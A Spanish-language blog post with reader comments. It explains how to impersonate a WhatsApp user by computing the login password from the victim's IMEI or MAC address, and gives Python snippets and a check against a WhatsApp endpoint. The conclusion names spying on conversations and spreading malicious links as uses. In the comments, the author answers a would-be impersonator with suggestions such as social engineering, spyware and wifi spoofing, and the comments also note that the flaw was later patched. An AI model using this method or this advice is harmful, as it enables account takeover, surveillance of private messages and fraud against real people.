Posted by & filed under Uncategorized.

Como mostré en el post anterior  es posible utilizar el servicio de WhatsApp desde Linux mediante un pequeño programa en Python. En dicho post mostramos como registrar una línea para obtener el password pudiendo así loguearnos y utilizar WhatsApp. Lo interesante ahora es si es posible conseguir el password de alguien que ya se encuentre registrado y suplantar su identidad. Bueno la respuesta es SI y es más facil (o menos complicado) de lo que parece. El método que describiré fué probado para Android y iPhone, con BlackBerry y Nokia (Symbian) no tuvo éxito.

Password

Queda ahora por saber cómo conseguir la password de un usuario que ya se encuentre registrado y utilizando WhatsApp, pues resulta que WhatsApp utiliza un MD5 hash del IMEI/MAC (dependiendo del OS) para generar dicha password. Es decir con tan sólo saber el IMEI/MAC del dispositivo y su número de teléfono es posible suplantar su identidad. Veamos por separado los casos de Android e Iphone con ejemplos.

Android

Para este sistema WhatsApp usa un hash MD5 del IMEI invertido. Esto en Python se logra facilmente:

 import hashlib
 imei = #Aca va el imei
 revimei = imei[::-1] #Con esto invertimos el string
 print str(hashlib.md5(revimei).hexdigest())

Para corrobar el hash tenemos una api que nos devolverá si es correcta o no la información que utilizaremos de login

https://r.whatsapp.net/v1/exist.php?cc=pais&in=celular&udid=hash
pais= Los dós digitos que representan el código de tu país
celular= El numero de celular SIN el código del país. En el caso de Argentina (Buenos Aires) sería 11xxxxyyy
hash= El hash que conseguimos anteriormente.

Una vez corroborado el hash es momento de emplearlo en el campo ‘password’ del archivo de configuración. Por cuestiones de implementación de yowsup es necesario hacer un encode de este hash, para ello otra vez en Python:

import base64
hash= #El hash que verificamos
print base64.b64encode(hash)

Ahora ya con la hash ‘encodeada’ completamos el campo password de nuestro archivo de configuración.

iPhone

El caso del iPhone es similar al de Android con la diferencia que en vez del IMEI utilizamos la MAC duplicada del equipo para obtener el hash (sin inviertir).

import hashlib
mac = #Aqui va la mac
print str(hashlib.md5(mac+mac).hexdigest())
# Notar que  si mac ="AA:BB:CC" mac+mac ="AA:BB:CCAA:BB:CC"
# y es así como debe ser, no se deben elimitar los ':'

Luego no nos olvidamos de hacer el encode con base64 y completar el campo password en nuestro archivo de configuración.

Conclusión

Si bien los datos no son precisamente públicos, no representan mayor complejidad de obtener mediante una escucha en una red privada (Wi-fi), o alguna aplicación que malintencionadamente requiera el IMEI o la MAC del dispositivo; o bien cualquiera con el celular de algún conocido en menos de 10 segundos obtiene estos datos.

Una vez obtenidos los datos y siendo efectiva la obtención del login es posible espiar las conversaciones de la víctima o bien utilizar a la víctima como medio para distribuir enlaces malignos.

8 Responses to “Suplantación Identidad WhatsApp”

  1. GERMAN

    HOLA. ESTOY INTERESADO EN SUPLANTAR EL WHATSAPP DE OTRA PERSONA PERO NO TENGO SU IMEI. COMO PODRIA OBTENER SU IMEI, HABLO DE OBTENER PORQUE NO TENGO EL TELEFONO FÍSICO, SOLO SU NÚMERO.

    Responder
    • aleperno

      1) Si te fijas en este post ya habría sido arreglada tanto para Android como iPhone.
      2) No está de más aclarar que la intención del post es que si se aplica, sea dentro de un entorno de laboratorio(testing) y a sólo efectos de demostrar la vulnerabilidad. Es sólo con fines didácticos/educativos. Por lo que quizá hubiese sido mejor que reformules tu pregunta, ya que el objetivo NO es que suplantes la identidad de nadie.
      3) Ahora…hipotéticamente si uno quiere tener acceso al IMEI de la víctima es una cuestión de creatividad. Ingeniería social, alguna app con “spyware” que acceda al IMEI y lo guarde. Algun spoofing por wifi quizá para obtener directamente la password del login…

      Responder
  2. Jose

    Hola, utilizando lo que nos has puesto:

    import hashlib
    imei = #Aca va el imei
    revimei = imei[::-1] #Con esto invertimos el string
    print str(hashlib.md5(revimei).hexdigest())

    yo esto lo copio en editor de texto, pongo el imei de mi movil y lo guardo con extension.py y de nombre hash

    Ahora la ejecuto de la siguiente manera y me sale esto donde me equivoco

    ….yowsup/src$ python hash.py
    Traceback (most recent call last):
    File “hash.py”, line 3, in
    revimei = imei[::-1] #Con esto invertimos el string
    TypeError: ‘int’ object has no attribute ‘__getitem__’

    He demostrado que no tengo idea de programar pero si me ayuda quiero aprender.

    Responder
    • aleperno

      Es un error de tipo, en imei seguramente estés ingresando el número como int. Digamos IMEI = 223.

      Envolvelo en comillas (IMEI=”223″) para que lo tome como string.

      Saludos

      Responder
      • jose

        amigo si era eso jejeje ahora que doy con el hash parece que los de whats app han cambiado la manera de autentificarse no¿

        Responder
        • aleperno

          Así es, como puse en mi post más reciente han arreglado esta vulnerabilidad; por lo que si el equipo (de cuyas credenciales estas intentando usar) actualizó la versión de WhatsApp, genera otra password dejando inválidas las antiguas credenciales.

          Responder
    • aleperno

      No volví a probarlo, pero creo que ya no es posible dado que hubo cambios y cambió el método de creación de la password. De todos modos de volver a intentarlo actualizaré las entradas correspondientes.

      saludos

      Responder

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *